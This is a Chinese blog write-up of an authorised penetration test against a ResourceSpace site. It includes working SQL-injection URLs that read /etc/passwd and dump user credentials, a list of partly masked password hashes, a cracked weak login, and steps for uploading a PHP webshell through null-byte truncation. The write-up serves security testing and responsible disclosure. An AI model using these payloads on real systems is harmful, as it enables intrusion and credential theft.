附網站進行滲透測試流程分析「滲透測試網站源碼」

起因

我們的一個客戶希望我們對其網站進行滲透測試,以發現其脆弱點並協助改進安全性。

在拿到對方滲透測試授權之後,我們開始了對其網站的分析。

尋找突破口

對方主站是一個定製開發的CMS,在進行一系列掃描和分析之後,未發現可利用的地方

於是開始分析其二級域名、發現其中某資源管理分站、目標操作系統linux、僅開放HTTP(80端口)、整站程序為ResourceSpace、一個開源php建站程序。

漏洞挖掘

因為是開源程序,考慮其漏洞挖掘相對容易一些,於是決定把這個網站作為突破口。

於是到resourcespace的官方網站(http://www.resourcespace.org/)下載最新版源代碼,在本地本地搭建測試環境,開始白盒審計代碼。

這個resourcespace大部分功能都是要登陸後才能使用的,而我們目標網站不允許外部註冊用戶,所以我們要挖掘不需要登錄驗證就可利用的漏洞。

第一步要挖的是那些容易利用的漏洞,SQL注入之類的,經過一番grep,在pages/search_disk_usage.php裡面發現一處調用:

$results=do_search(getval("search",""),getvalescaped("restypes",""),"relevance",getval("archive",""),-1,"desc",false,$starsearch,false,true);

再來看一下include/search_functions.php

if($sql_filter!="") {$sql_filter.=" and ";}   
$sql_filter.="archive='$archive'";             }
returnsql_query($sql_prefix . "select distinct *,r2.hit_count score from (select$select from resource r $sql_join  where$sql_filter order by ref desc limit $last ) r2 order by $order_by" .$sql_suffix,false,$fetchrows);

這裡存在一個典型的SQL注入漏洞。

我們在本地測試環境中訪問以下URL來測試:

http://192.168.1.172/ResourceSpace/pages/search_disk_usage.php?archive=a'

返回:

一次通過漏洞挖掘成功滲透某網站的過程

證明了注入點確實存在。

不過這個超長的嵌套SQL注入要想利用起來還是有點麻煩的,想構造語句閉合幾個語句試了半天沒發現合適的方法。

因為對方數據庫是mysql所以準備利用rand&groupby報錯大法來試一下。

構造語句是這樣的:

http://192.168.1.172/ResourceSpace/pages/search_disk_usage.php?archive=a'%20and%20(SELECT%201%20FROM%20(select%20count(*),concat(floor(rand(0)*2),substring(load_file('/etc/passwd'),0,5))a%20from%20information_schema.tables%20group%20by%20a)b)%20and%20'1'='1

果然讀到了passwd文件內容,這是利用mysql一個特有的bug來報錯的手段,也是常用的SQL注入方法,對該方法原理不再贅述,感興趣的請參考:http://bugs.mysql.com/bug.php?id=8652。

接下來要做是獲取管理員密碼,進後台傳webshell,於是嘗試了目標網站:

http://rs.XXXX.com/ResourceSpace/pages/search_disk_usage.php?archive=a'%20and%20(SELECT%201%20FROM%20(select%20count(*),concat(floor(rand(0)*2),(SELECT%20username%20from%20user%20limit%200,1))a%20from%20information_schema.tables%20group%20by%20a)b)%20and%20'1'='1

返回:

一次通過漏洞挖掘成功滲透某網站的過程

密碼破解

返回了加密後的密碼,到這裡成功的希望就已經相當大了。

因為手工注入太麻煩,所以寫了個程序來跑出目標網站所有的賬號和密碼。

admin-----b****d93ce187f01b7e7c96b0b1df062
Sp****erS-----a****437d2e18f2fe5bf623412427493
J****J-----9****aa12a24a73953d5ab95567cd5d1
n****nph-----6****7f9f3d7ea132ba42d349df99b01
d****e-----1****dd082b77c13ca1ecafd1a0d7ac4
N****iaA-----a****4dfd4c74c15d9e7ab2620639f21
D****ahT-----c****cb83afadf07dda15b8a7716068a
J****P-----d****001e3b5f26967007ab2647b8ae6
b****rtm-----9****6d20cd016ffb3bc9593bd3ed0f3
J****R-----a****4b643d1e69aa8d51f9c616e46c9
L****A-----b****7d728a7048add07b6404e6854ac
……

密碼看起來像是MD5加密的,不過進一步查看源代碼卻發現形勢不容樂觀,加密是加用戶名salt後MD5的:

md5($salt+$username+$pass)

這意味着無法在cmd5等網站查詢,也無法使用彩虹表破解,而只能選擇暴力破解:

(但resourcespace的默認密碼策略是要求密碼必須同時使用字母和數字的,這樣破解的希望就更小了,於是乎寫了個破解程序:

一次通過漏洞挖掘成功滲透某網站的過程

掛上我們的NB字典開始跑密碼,本來沒抱太大希望,但是希望總是留給勇於嘗試的人,還真有一個用戶使用了弱口令。

一次通過漏洞挖掘成功滲透某網站的過程

雖然不是admin賬號,但是成功登陸進去一樣可以做很多事情,我們接下來的目標是:獲取webshell進而獲得系統權限。

文件上傳

使用用戶choib/qwer1234登錄進目標網站,發現有個地方是可以上傳圖片的,而且通過字節截斷可以上傳php文件,但是存在一個很大的問題是,上傳後的文件被重命名為隨機文件名,我們無法找到上傳後的webshell。

滲透過程到這裡再一次陷入僵局。

再回過頭來看resourcespace程序代碼,通過分析程序發現可通過提交不正常請求,使程序強制報錯,爆出上傳的文件名。

當點擊下載圖片時,並不會直接連接圖片的URL地址,而是通過訪問

/ResourceSpace/pages/download_progress.php?ref=24&ext=php&k=&alternative=1&search=%21last1000&offset=0&archive=0&sort=DESC&order_by=relevance

我們可以通過Burp修改HTTP請求,來讓程序報錯:

一次通過漏洞挖掘成功滲透某網站的過程

這樣就找到了上傳後的文件,並且在目標系統上獲得了webshell:

一次通過漏洞挖掘成功滲透某網站的過程

後記

獲得shell後,我們又做了大量的工作,例如提權獲得root,內網滲透等等,但是因為涉及客戶一些敏感信息,這裡就不再具體介紹了。

本文的主旨還是介紹通過挖掘並利用resourcespace漏洞來獲得滲透的突破口。

一次通過漏洞挖掘成功滲透某網站的過程

最後,作為一家負責任的安全廠商,我們把此漏洞提交給了resourcespace官方,希望能夠對提升開源軟件的安全性做一些貢獻。

原創文章,作者:投稿專員,如若轉載,請註明出處:https://www.506064.com/zh-hant/n/284447.html

(0)
打賞 微信掃一掃 微信掃一掃 支付寶掃一掃 支付寶掃一掃
投稿專員的頭像投稿專員
上一篇 2024-12-22 15:07
下一篇 2024-12-22 15:07

相關推薦

發表回復

登錄後才能評論